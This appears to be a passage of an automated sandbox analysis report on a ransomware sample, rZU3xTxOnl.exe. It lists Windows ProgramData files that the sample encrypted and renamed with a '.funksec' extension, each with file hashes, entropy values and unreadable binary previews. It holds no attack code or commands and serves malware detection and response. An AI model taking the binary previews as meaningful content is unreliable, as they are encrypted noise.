                                                                                                                                Preview:R..e..<...Sf.)..18.~.w...]g./...E..H.......9...+..V[w. .d..m.V?^....)../.i..ir...7../....O[..._.#..Zy>.....N.oR$.;..,..k..........$:=...L...5"..sc......!...>rCR.3B.#.N.I.]....`.r.Up(Q..R_fE....]...r.t...q>.....DB..3c*...|..<.)5..m.V/_....i..'.ct).kI&..L0.'...}@[.._.g...{.....X.N.oR$.;..,..k...Z.\..wEWy.......GM....SKdh.S..Q.->.R&.QHN.I.]....`...!.?d!.`.....8..+.S5..k.#.*.a......;8Z.N....E.)5..m.V/_....i..'.ct).kI&..L0.'...}@[.._.g...{.....X.N.oR$.;..,..k...Z.\...+.%....}...&...ve. $.......>wFb.=Q.='/.,..]....`.5........qY..zd.l.0.......z... .e.CHI...84)...@.)5..m.V/_....i..'.ct).kI&..L0.'...}@[.._.g...{.....X.N.oR$.;..,..k...Z.\..wEWy.......GM....SKdh.S..Q.->.R&.QHN.I.]....`...d.g......'..9........@..0....h"...Cv.......g.)5..m.V/_....i..'.ct).kI&..L0.'...}@[.._.g...{.....X.N.oR$.;..,..k...Z.\..wEWx....R|.8..Lj.U.4eh.S...QE,>.R&.QHN.I.]....`.JL.....P.L.=....#.Y.......$.W.~\..Y{....+y..e.)"..m../_...q..Y../...kI&..L0.G..z@[.._.g...{....Y.N.oc$.:.

                                                                                                                                C:\ProgramData\Microsoft\Network\Downloader\edb00001.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1802264
                                                                                                                                Entropy (8bit):7.495530332739612
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:12288:hIJQfDpCzmBznzl7GOERFnB08aGwgo60q2FGhtQfvhX+CXHrlz6MWONaU:nfDpMmBznzFGjaAo6RkKSF+CXLl2O3
                                                                                                                                MD5:B608E4ABA5EB0C6AC4759D9C07792BDD
                                                                                                                                SHA1:4D7DF19C18EE96DCBD87A5AD6588CB3E9F1C0139
                                                                                                                                SHA-256:ACBF9A288B01524AB4818B20A63AEB7DF2826C5A9D76D7743150BC74C916F8C3
                                                                                                                                SHA-512:20E2DE9021A7D8BE9320E4FCA6ED7E887C124FAF7481FF3F0020C604469E964D1763383C886D49A5F8E56433A95F3C4329CD8222F6110BC9B693AAE731A7A740
                                                                                                                                Malicious:false
                                                                                                                                Preview:....Y..N.=...:....Wci.j^L+.6...i...e\.e)..n.k..B.....#$.im\.t....X0y.#:.......M..Kcz.7y....X....P..Wo.1O.zo..U....?.O.. K...F....N8.8V,.tU6.E!x.......U..;....^?..Y>r..k....T|.?.....}.SJ..w%..1.M,i[y..<..p.o....Q..:..Z.Z}.^^.*.l\.t.....1y.!.....!...M..Kcr.7yz...d....`.lg.;4{|o..U....?.O.. K.T..../U.Y"M.9<U.*R..|.H|.l:.cg..2P..w+br..k....T|.?..x...b3.1.r......+.L:A..>..1%.....:..\]Q..^.*.l\.t.....1y.!.....!...M..Kcr.7yz...d....`.lg.;4{|o..U....?.O.. K.T.......'.>P,.}]!.v.~...;...f.......n...G........T|.? .v..1..6.u;..*...|..C_....n..B@..vV...zX.FHE.^.*.l\.t.....1y.!.....!...M..Kcr.7yz...d....`.lg.;4{|o..U....?.O.. K.T..../U.Y"M.9<U.*R..|.H|.l:.cg..2P..w+br..k....T|.?..-..pj.=P7......B;..[..._t.Ot.l....->h%e....^.*.l\.t.....1y.!.....!...M..Kcr.7yz...d....`.lg.;4{|o..U....?.O.. K.T..../U.iWM.......S...l:.#f...2P..w+br..k....T|.=......;n.x_...gi.Z.X..U],..8&..XR.-G.....&.....^.+.m\.ts....1y.!....q....M..Kcr.7yz...d....`.lg.;4{|o..U....

                                                                                                                                C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1802264
                                                                                                                                Entropy (8bit):7.339399048904101
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:12288:UZtxxGCAMM23LLP2u+J5l9j7q52bIKHGlXQ53:U/CCAM9LLOndj7qoGW
                                                                                                                                MD5:688118E6CD3399CA72C339DFBD297AEE
                                                                                                                                SHA1:EE1725CC03675B7A0E056BFB6842307F2681E3AB
                                                                                                                                SHA-256:F41865AE2E93FA135482E62A031CDEFD53B859A121866290BA2B48D78EFD02AD
                                                                                                                                SHA-512:31F15D79885D9A2E134EDB854FA501A77A7BA1411D61BE43F6E24B4060ED14B5A3E4516E6BE6C47B89DD32543799AD47583F82B92ACF1E2464B0B10B2548C845
                                                                                                                                Malicious:false
                                                                                                                                Preview:}..:..O...2...?vJ...}.b%#-N.......cY.>.,......h..%...A3.Gm......!~.H#...........'T.h....."g.<,..e.'h..r.....v....3....c...y..>. .....m....'7.c.\...&.......5.Nep...Hy^.........#(zrq!...l......ng_+%......lQ..{F..@.i.ju....A3.Gm......!~.H#...........'T.h....."g.<,..e.'h..r.....v....3....c...y..>. .....m....'7.c.\...&.......5.Nep...Hy^........Z.a!.uY;Y. .9.#.d0.....(...,t..Y..6.Q.b.z....A3.Gm......!~.H#...........'T.h....."g.<,..e.'h..r.....v....3....c...y..>. .....m....'7.c.\...&.......5.Nep...Hy^....K;.vm.q.E....)..r..P....BY...-P.n.\,.TE....8.....A3.Gm......!~.H#...........'T.h....."g.<,..e.'h..r.....v....3....c...y..>. .....m....'7.c.\...&.......5.Nep...Hy^....e..T0..D.Ki....wL.~.Q....5..&%..;U...Eji.9...)....A3.Gm......!~.H#...........'T.h....."g.<,..e.'h..r.....v....3....c...y..>. .....m....'7.c.\...&.......5.Nep...Hy^..........g....Y%.&.........0..xf_f.;...8.U.....A3.Gm......!~.H#...........'T.h....."g.<,..e.'h..r.....v..

                                                                                                                                C:\ProgramData\Microsoft\Network\Downloader\qmgr.db.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1441816
                                                                                                                                Entropy (8bit):7.396491037171482
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:12288:InDs/zsbDMd/s/J0x4Hl0eeWGLcBP5W+mHsAmwQaYrbSUR2:Us/zj/s6AfGLcx5WDmfZSE2
                                                                                                                                MD5:87FAFC0CEB21C7F191CB6F1920A2C058
                                                                                                                                SHA1:E8D46E346D4370B7F7102EAA995D61006EAB4038
                                                                                                                                SHA-256:0E831907E8F68A44BDDC99E5CC19916492FAC2D9D8D9D45B235777578331EDFB
                                                                                                                                SHA-512:23191F6A33D6F54B9C1C2F145CC6AE6700B94D7B41F65D40B51E46753B049854D62A7855A7E6A0E6C5F0F988F664FE31C0775664F2DF3364B2362E05B9F24469
                                                                                                                                Malicious:false
                                                                                                                                Preview:.3*.~....*..l..6..8d..s..nU..Z(.b.....M.0R$eBw.=x..K}.2...eoo...t..{..R/s.Q..2..'r.......mj.^.K.?.:..x6....(....dG..t.....2............km.M.H.*.~........B^....Y.....{.$h.(/.c,i.....tu]/A!R...m......8....N..e..U.~~...3D.1.V..V.........t.Vq..R/s...../q.d....mj.^.K.?.:..x5....P....dE..q....:...x.....ke.E.B.Y.+.......B^.Cb...?....."h.(/.c,iV..Z..w".....|:r+ve4.^....v;'.f\D=.}.U.......V.........t.Vq..R/s...../q.d....mj.^.K.?.:..x5....P....dE..q....:...x.....k{.E.B.Y.N.......B^.C"...?....."h.(/.c,i..c26/.%o.A.J..;..T...mp..^.N.&...a@5uD:4...*ZV.........t.Vq..R/s...../q.d....mj.^.K.?.:..x5....P....dE..q....:...x......ko.E.B.Y.N.......B^.C"...?....."h.(/G......;=..Oo...._;...{.T.qh.H.F...'Bh..I...=..R.j .......t.Vq..R/s...../q.V.....aj.^.K.?.:..x5....P....dE..q....>...r......ko.E.B.Y.N...8...bV.IY...?....."h.(/.c,iN'."n..G..)...\.|DA...`;....S.<{E.0.5.f...x[..V.......b..t.fs.P/s...../q.d....mj.^.K.?.:..x5....P....d

                                                                                                                                C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):270360
                                                                                                                                Entropy (8bit):7.460436052168619
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:tN+sEma7g0U7Hhc66f0U4IARJG27jHSB34OZtTNRdWiijlfPJ+9Uoa5tyteVpAYO:tN2IrxfWkJ7yBp6PYaDyMAeO0wSZ0Dd
                                                                                                                                MD5:EA03DC97E15A467F01B7ECD5623DA7C2
                                                                                                                                SHA1:79B48151D14DF5907E6875F10F28AFF665D2319F
                                                                                                                                SHA-256:2A0F94F7B8A1919F878DDF624BE038B842C5887FBB38827AE82F42584AF5CBDA
                                                                                                                                SHA-512:2B7D1D680E4C1F22B24A33AACA9DE10C817D4FFCE31F660C9797C9BF79FD32A87B5A3BE21BD9101D54ED2ACFA0BEF30586FD54BEB6C4BF14091AC88ED8AC452B
                                                                                                                                Malicious:false
                                                                                                                                Preview:$...-.?)b....5.V....^[.4kg.(0.....E..^......%:.mv.......t?...}K......S....^._...g....d{.1....".B.CK..%4...#-..W>.ZWN..y..%.:.df.i........J.>..y#$8...{>>1.W..-F.b...(-..].[...9.%^[/Oa....].U..*...?.h.\.....#H.z.A.4...=,i.-.T.l...i.k......S...^._..F..4..gq......".B.CK..%4...#-..U>.ZWe..}..... lb.._......J.....sX.<...{:>1..W..V..Z...S...].[...9....C.w..p. ..4..t.a..AN".F....{g.I...;$m .4.T.l...i.k......S...^._..F..4..gq......".B.CK..%4...#-..U>.ZWe..}..... lb.._......J.....sX.<...{:>1.W..V..Z...S...].[...9....SK..]..,sO.`.0X.L...o..."I..XN._..VyI....T.l...i.k......S...^._..F..4..gq......".B.CK..%4...#-..U>.ZWe..}..... lb.._......J.....sX.<...{:>1.W..V..Z...S...].[.2.......i^..IJ.u=.J......K..w.!,6W...s*...b.[..'....i.k......S...^._..F..6..gh...&.B.CK..%4...#-..U>.ZWe..}........&W....b..J.....sX.<...{...b.._..w..Z...S...].[...9.~.=.#G.B3>....2...L.V.X.*....d..|......;.#.T.l...i........S....Z._..F..4..gq......".B.CK..%4...#-..U>.ZW

                                                                                                                                C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):90136
                                                                                                                                Entropy (8bit):7.317907700954188
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:l/YJK54WhgBK04mxmlfLKnzTMJrMPppEQaWS4a5nlndxMf:lsKOQ04mxmlTKkJyppEH4a5nlndxw
                                                                                                                                MD5:6C20944FB8968AA2EFB9146AFEB0F634
                                                                                                                                SHA1:40308F315AA929199A98E0C9B3B0A4AD35448E02
                                                                                                                                SHA-256:0C62199971E28EB201588DE3F37A21E7D032DB63DAD828A8CCE653E23948E363
                                                                                                                                SHA-512:564126E8DDC62CAC9E12B8A34664CC3885C35966EC71B8B48EA3D10126E1EDA056B64AB86AA1677A80C32D4D2446368E8ACFED1702706ACCDCC970A2C6A5AF8C
                                                                                                                                Malicious:false
                                                                                                                                Preview:.........m.?q......e..g%}aU..Y...96[.*.u2.....)c}......,^..P. ..._\q.6...:....&..tnJi..tEq..d.Q.~....F.+....u}.K.P&.5..R.K..._.....,P%{.....i...et.n.>-.\}p....5tP....8.._.[....d...4....j../.aa'%.Z...8..@.s.......&.t)g..[..|dV...P. ...O\q..6..0.=........Na..t.~..X.Q.vV...~.(..6.u}.K.P&.5..R.K.._e....u^1H?..o.V........=.M..).....dF.1..W.W....[....d!.p.lX..p.\,........-.c..V......%.....Vm>..Xz.dV...P. ...O\q..6..0.=........Na..t.~..X.Q.vV...~.(..6.u}.K.P&.5..R.K.._e....O.a:P.....z...`r.N.+..zdf....#um..$.6..P.4...dTw.....1....W....<.....p.~...W..K..$..|.G.. ..dV...P. ...O\q..6..0.=........Na..t.~..X.Q.vV...~.(..6.u}.K.P&.5..R.K.._e....u^1H?..o.V........=.M..).....dF.1..W.W....[....d....6zF!c'...IZ.....J...DPU.3e.r.6.O.i;Z..i..dV...P. ...O\q..6..0.=........Na..t.~..X.Q.vV...~.(..6.u}.K.P&.5..R.K.._e....u^1H>..o..t"d.:s|.z..L..)......sp1..W.W....[....b.T ..../.`.,..}.8./...!..^<+u........e(.j.S..NdV...P. (..O.e.....\r.........Na..t.~..X.Q.vV...~.(..6.u}.K.P&.

                                                                                                                                C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):90136
                                                                                                                                Entropy (8bit):7.7236361070008686
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:GFIJLPGTfD0eRuwYN3SoNy0vWpoUKbssZ2b2SUfPZ6CrDd+/:GFIJUfD0RHlXNpvKoZH2qSgUsJ0
                                                                                                                                MD5:4D5BC50443EF6CFE3D5A448AA930F466
                                                                                                                                SHA1:6D730E1FB1D0CD6BDA75511169788A1BEFE984C0
                                                                                                                                SHA-256:85D343573FBC0CCEE0C24FCCC53E65DDE3366B2061FB1EA0E378BA46E0025FBE
                                                                                                                                SHA-512:AEC5A87B3B7CD6D64DA1A050F96A93F915615795C7315FB31C5FF08AF0BA8DFBF4FBBDF7C1A15CDC5B468258D63B2E1121D1DCBFD1643EDE81DD772870D99610
                                                                                                                                Malicious:false
                                                                                                                                Preview:........~2..........(.a.{..^7....|L...4.......B..NA..[.......A^yQ9..;f[.....|.~.....?5..V.C.f.+..s.......@hW%.E...\~.?.x. =..oC@R...v%.$..F...rR....k.....I<.}.|.8Q~B...m...T....Kh..>.@..f9....2.....y...;3.`.....WSC5a%.e..G;.J>....A^iP9..+Vc....l.|.~.....75....C.c.+.........;.U%.E...\~.?.x. =...3.2=....adP.....!m.Z....\...,N.0...._4-6mg.1...T...)j.RMVO..s........(NQ|Z..#s....x...[..5..j..u.J>....A^iP9..+Vc....l.|.~.....75....C.c.+.........;.U%.E...\~.?.x. =...3.2~..i.."..O...Al..(..i.(.._..E.}..Q^E...bi.l1U...g.8&.7M:.#.....Z.....-...Hs.9z..(..8...>(.+.J>....A^iP9..+Vc....l.|.~.....75....C.c.+.........;.U%.E...\~.?.x. =...3.2=....adP.....!m.Z....\...,N.0...._4-6mg.1...T....,..>..>.m...|....<..ywq..Rk...B...@....s.J..~.J>....A^iP9..+Vc....l.|.~.....75....C.c.+.........;.U%.E...\~.?.x. =...3.2=....`T%..5.....o.y.\...,N.0;.x._4-6mg.1...T....#G}N..L.&.....W.H..+...9y...tJ..B..Yx.......J?....ANiP9..+Vc...%O.|.~.....75....C.c.+.........;.U%.E...\~

                                                                                                                                C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00002.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):90136
                                                                                                                                Entropy (8bit):7.327221079428249
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:YTjJtS6+O0QCTC/F7rC5izW9Obd8sMeeLntitQr4f2RSdbeWOQw:Ywu72AzWAbdgC2EdiWOF
                                                                                                                                MD5:B6358C3F56D20567240CB37334B310E9
                                                                                                                                SHA1:20B0778F3FA4603469AF80BB53E161DC6F410191
                                                                                                                                SHA-256:C5A37C6AA2190D38EBC5115568B7B4B89F4EADE70FDD69A564ADB185BD44AD82
                                                                                                                                SHA-512:93C030179477DD3C0677558455507E081F4A7611945C2913B93C3559269E6BA8C535D1662D5C849263AA92CF1E0FAE947225C495265950771CBAEBA471764BC4
                                                                                                                                Malicious:false
                                                                                                                                Preview:./../.k...Z..F.-..=.6.9,.c...If.1..*e.......{....a....yb.._...&....yc.n..E.j...U(n.....M..4...[.Dzc..P5.X.,..3m.t...:.....=U........w.......8....zcI..G....c[$L..)..1......yiqKXc.......f.u.p.=....O...F5.}1..F..Z)j.A@:..Y..:{b.._...&....~`..c.u.m....*f......H..<2..k"Cyim.R5.X.,..3m.t...:...Z.O:.mc..r|.+S..A.^....j...=.w......<A.v.[.S1.......;..O..SD2P...I.f.......>.l..iV8....1....AJy..{9Y..:{b.._...&....~`..c.u.m....*f......H..<2..k"Cyim.R5.X.,..3m.t...:...Z.Oy.13.....F.......=......IEP.%t....^q$l..<..E.......=U%/7L.p5..=....d...@.r......Z..G.............Y..:{b.._...&....~`..c.u.m....*f......H..<2..k"Cyim.R5.X.,..3m.t...:...Z.O:.mc..r|.+S..A.^....j...=.w......<A.v.[.S1.......vC.....|.z.........#...7........y.2|.~p...g..Y..:{b.._...&....~`..c.u.m....*f......H..<2..k"Cyim.R5.X.,..3m.t...:...Z.O:.mc..B..+./j..Z!>P(.k...-.w......<A.v.[.S1.......#...J;..@9G6.*.|..'M....'....Mu.[....<..I...Y..:zb..O........E[..@.u.m....+FF.v....H..<2..k"C.kl.S5.X.,..3

                                                                                                                                C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00003.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):90136
                                                                                                                                Entropy (8bit):7.406079495902354
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:K1A4j+BrG3WJoFqco/MVprqTxIXTIe7QLurchDwJRIpX:R4CBaRsMvqTeEyroDdpX
                                                                                                                                MD5:245AB4AAEF436F71DDF5A2103FA51DD7
                                                                                                                                SHA1:1EFB21879BAA0E227B038FFCAD356AB5B0FC5067
                                                                                                                                SHA-256:CD44AF0E62DCCA6B24082C8D09F7DB51E5D506176993194FEE37DA507D55589D
                                                                                                                                SHA-512:408E27917F1D9255C300AD335BD6AE1088F4F14B5BED18F5F5B7FA1713DB0879945F21B005A6F9D19B74BA76164837DB32F27F519F515BBAAEBD3481B82B89AC
                                                                                                                                Malicious:false
                                                                                                                                Preview:X.....T,....Mna.....zm].d.;.....Y5{c...2_.......3T.6...wT(..v.@5..7.hDd..\..|i.....xP..)....).8...MQ.......m..1;..l.. .......e....d...F<.j.|...?..^...F.lAqV....c]7F........(KG... .2cs....)E?v........m^w..MI..c.....5.*..W(..v.A5..7.q}l..'1.LQ..j..pP....).9..).....uV.......m..1;..l.. ..9......D..8Fr.4S....E..L.k+......2.7.c.../R........I.=..._.{......8W.A..?MU=#......c.SVR..\+.*..W(..v.A5..7.q}l..'1.LQ..j..pP....).9..).....uV.......m..1;..l.. ..9.....T.+..U...U..l.z*..*.7x...u.}Wpk....mH7In....H5.....2.L..`.q.V...C.....W.IzA..C...Hg..R...q.*..W(..v.A5..7.q}l..'1.LQ..j..pP....).9..).....uV.......m..1;..l.. ..9......D..8Fr.4S....E..L.k+......2.7.c.../R..........G./....9.`?^=....Ec..t."Z.b.h...k3..#.t..O..*..W(..v.A5..7.q}l..'1.LQ..j..pP....).9..).....uV.......m..1;..l.. ..9......E...8..yK.N....R.M.k+.......u7.c.../R........n....x......v{Vos...j....CdFt...3J/N.1.?..S..o.*..V(....A5...7%[m.k...LQ..j..P..,/.).9..".....uVs......m..1

                                                                                                                                C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbtmp.log.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:GeoSwath RDF
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):90136
                                                                                                                                Entropy (8bit):7.292538827223809
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:Rf3KhNfKOfuttP7w0JRSu7BgjD9cSqOcAUZc3:Rf6h3UVJwKBgVFqOLUZc3
                                                                                                                                MD5:1B50DC73605572E23ABC8F1808CE17B4
                                                                                                                                SHA1:D2A2F15BA1EA1289D4CEA8A00A3CFC13BB1EAED9
                                                                                                                                SHA-256:AE5C5C571411ACD9B6FCBD154AFEF25AAD263BD8B2270667C8510F95660D4079
                                                                                                                                SHA-512:ED12A50DF08C1CBBBE6C27A1047412A642EAAFD6ED1A8068EBA3B9BD3C153EA40C56655E6FCC881B42B8EA75498206217EB8869065FCE785B457370C45134824
                                                                                                                                Malicious:false
                                                                                                                                Preview:.C. .T.J[l._.x...m..Z...%..;e..9z+.&|..._0...{_.b&..Z'.cT.){H......R..iy..5..E.D.E{....4..<..<.......7^,...A..v..-JjM..c......4....j......k.I...C..c.......,..%..........~....YT.. nB..^..zH.B4.*sY..{.B.?.{.W......E...cT.){H......R..iy..5..E.D.E{....4..<..<.......7^,...A..v..-JjM..c......4....j......k.I...C..c.......,..%..........~......y.4....iA.......'&e.T...<}.mH...1.....cT.){H......R..iy..5..E.D.E{....4..<..<.......7^,...A..v..-JjM..c......4....j......k.I...C..c.......,..%..........~..V.m.T..H".3.....!)._x..1bz6...\5Q...Q.T.x.Jl.cT.){H......R..iy..5..E.D.E{....4..<..<.......7^,...A..v..-JjM..c......4....j......k.I...C..c.......,..%..........~..I:l..;:........|...<.^.....r.gXU.+..........cT.){H......R..iy..5..E.D.E{....4..<..<.......7^,...A..v..-JjM..c......4....j......k.I...C..c.......,..%..........~......$&)....X.:.V3...F@....k.......K.*[....g:.cT.){H......R..iy..5..E.D.E{....4..<..<.......7^,...A

                                                                                                                                C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):764157
                                                                                                                                Entropy (8bit):7.999738075537494
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:12288:swvk2RiSgZeK3GAXRBuYR1szxiiitoHAj6BR8jMBIsoz2EtHW9pe9vF7BbhS1Gt:swvkYiSs2ABXOx9iuRDCz2EupObj
                                                                                                                                MD5:0E0240F60DEAD6451D3659FD810C9D70
                                                                                                                                SHA1:4E43D828A5A4802D69EE55A72A10306927789751
                                                                                                                                SHA-256:5819156A0CF185244F971C828541339A7AB77491D1EF42F5F43AD5F7B8176319
                                                                                                                                SHA-512:D0933ECF17CFE56A4C851C333BBFB682078B50620D40DDCA385BC208604CEB5D855E851AD628FBAB1F98DF511FC5726F6E0D592949258F4636DAAE7A7FABF7AC
                                                                                                                                Malicious:false
                                                                                                                                Preview:.B.N7k.....>.cP..1e..a{3v./.R.h.....H.5.....S..O.9i..Ii..@V`s:...0.c.'.e...=.r........6....9B....a:....F...h....2iz..-...cS....mR#..,3.eY;.R^%>-/.0...."..C...]...x..5.g..(...{..@z%...z. .j....q..`....X.~..@......=..C......-qUAC......:...cl.Rx..<.....t.sbs...C..M.^....C..K5.X.NHU.D.c...B......O|Y......X.>.I....8..Ol......t...+..x>...BF...!.^9..bz..d.mA"....ng.......Qoq......|H.o]......8$.T(Y...]F.EMr,2...S..5M.......s.q..,..y..y.e.X.V.q.M....-...S..q.~....1!d.r*j.....Y..<}$...Zo+C.6.\j.?.....Z..QH.U.(...:...&.UJrqn.i.....1e.......k.,..l.._.......}v!<....0.M....M..=.*...^j..kFq(.CYt...b.}1Z.#...%N..E....].^T...10...c.%.`R...;.G...{..o-.S.~..j6H^.\.F..n...%.b...tE0..Y....(.$....<..~....y.WlAm.q.3.>.HS.{..hd..!.=.f]]...\......7..&U".x..K.......#.....L...4.l..ba.....3.u<....%_...p..B...P....Jt.K.]....~.l.v..4#.j.0.O...GO.{ C.y..?..1q%.`..I..2.`5!..{..'.x6.p..H..."...R.Uzc...N..(./....QF...sz<.9q.'.Q...M.........#..;..a1;....

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):25177
                                                                                                                                Entropy (8bit):7.970097214263237
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:7+WZEbKodLsnfBLMhQHdwJWQXuaykKP7ef4wsEun:vyeWsJLMLoa9y/jS4bn
                                                                                                                                MD5:67A49EE706AA2A44DC75D1140472BA37
                                                                                                                                SHA1:C82E1B2E37AE64A33127A2D9D50CB2575F5BB903
                                                                                                                                SHA-256:DA0351AC62B14C9E4ADD7C5EBA154B3E31952BB18A4358BF9EE7E94B69FFE850
                                                                                                                                SHA-512:FEC78B9E9AB2B2A490A6A6F59398B5265C0B28216A8895A61F70FF891F8D1EBDCDA8445260603BB82BB0FBC38A91ACEA2D3464215D29593E97EEDE2374DEDF67
                                                                                                                                Malicious:false
                                                                                                                                Preview:.G|...>.<............<.&..X..N.._.a....3/.'./..w(1..v....R....>.....#.o.0.. 1.oH.5....AZ...t.Q1.w..g....q.(..?.#5.B.(*..(.I...afvW.5=Y<..&.)u.........mE..t.g...Q.S..sB..!.......r._g.......$.....D:..?t3;GQ..f..m_;..D..3.c.K.`..nWV....=...%.hKw..gz.b...2.....[.(.)XNJ....#.y}.>+(..#.(|.K.a6..Q.J...nh`E.|!Nr..9.+}.......Z..mP..8.k...W....6WP........h.....&......V......=.}SO..../.X.......".vU..R.2.....?....$.n]...y|.*G.$....[...?..`....%.7j.s.-..3.de.O.{<.9..n{.el5c.q..l../.&`Q.....R..9M..6G$...N\\..<.I..........n......m.K.G.c.c._&.W..O.k..BUr..|..@.]..A.....{.EH....m.....3."..)..'...[.....[...+Y"`....%.C{.n. ..v.)y.Y./1..,..L..elxW.r?^...8.#`_...X.Y.05T..q.j..?W....?J^...........N$_?.:..-X..A.h4gmXYS..........,0'P.<.....Ru_.WK.....=...$.dBb..dv.4+..q.........'^......>.yy."R...3.I....A..9.L...^laB.25D ...H.Q.]...P..(@..u.w..c.FS...BI..:......d......r.ZQk!.*..'..b[.gs.D!...f.R...Q.'s..o.=.%.VL....9.../.uF|..,<.kK..\...C....)."`....w.tm.}.f.77.0t.O...

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):8229
                                                                                                                                Entropy (8bit):7.9432526109138655
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:192:LzW7DzvYGc5P/1VzFSteyHbk+kaERLh0HOA3xmm:LK7DzIx9ubz6lu
                                                                                                                                MD5:8C60AFC6E7E57254653D3EE79478644A
                                                                                                                                SHA1:1DCC5D3D082B4B4ADE0FF1E8962987D4426070D7
                                                                                                                                SHA-256:EF99BC87B2803B23D666998EED3D67931A3DF0BDB20232C85B88E08D9D2C179A
                                                                                                                                SHA-512:97B602682D3131FC17738AD5830AFBFADE5933B096CFA10ECE729F1B11030D475DA50A233999C90D37C502C50988090DF4B7C2632855848F5B3CA44EAAD62EFC
                                                                                                                                Malicious:false
                                                                                                                                Preview:?B....T..z.K.._......@...F....J.^i.....V..t. )u0.[....`2......i.RWv.z......:...x....:P.d~....*...N...x>..n.ZA.=...-.A.(f...{....a..5.........%.$.......:.K.....D.y...O.~!.1....O..9.E.Y._.t.j,..}.ek5.K.......0..o..%.|...'U$;-.1.^...h.KP/./.Ze.....y...nc^9.....sD..'.N.x*..eYTH.t...T.B."f...i.../..*.....'..+.$........5.@.......I...O.k`.8.Q..VQD.V..i.f...mh=#.@.C.Z1j.'.n..1`......DQs1@.b.c.D..s.[V9.*.Dc...;...6...'XJ/|....b_.0...}9..)@BL.n..<..lQ2...O..@1..<......=...0.p....H...'.........\...F.#b.9..R.D....e|AG-.bZw....xn.=Q....?.Hk...~N..... .x5K&5c.l.g...S...}.s.....g..a....:_C;/....b_..!...p,..d\@Z.:...)..N(%...{..."..+......g?..6.|.........W......G.....<2H..].D..C...$.Jw.a.K=....s.t.e,a..=..z.ko........'H#2j...H..u.i\&.'.Yi..S..L6..nwN?9.....Z..d...e1..).OZ.y...7.KA9?........r........:...0.v...H...0.L...I.$...n.`dY.......d8..c..K.(...).8+..0.......d..*y.HsG.... Yj3k...H..:.XM?.%.^0...4..a.......h=/....uU......x6...&yj...P

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):4335
                                                                                                                                Entropy (8bit):7.925841846736036
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:GAOO6BrJxZ5ErsYQQbna1S5ulS+1WogS5AThTg0taB+muiU2WYV7Q5:Jt6Bta4YQQbna1SwrVA180Y4e1WYV0
                                                                                                                                MD5:E6C3846EC72E408B1423FCE122D2FB93
                                                                                                                                SHA1:F83AE2037063BA31D66269CE5027ADB2F390A821
                                                                                                                                SHA-256:021564EC1BB598ECD7701B727721663AFACD8C515505BAF0153835D8C39AFD7A
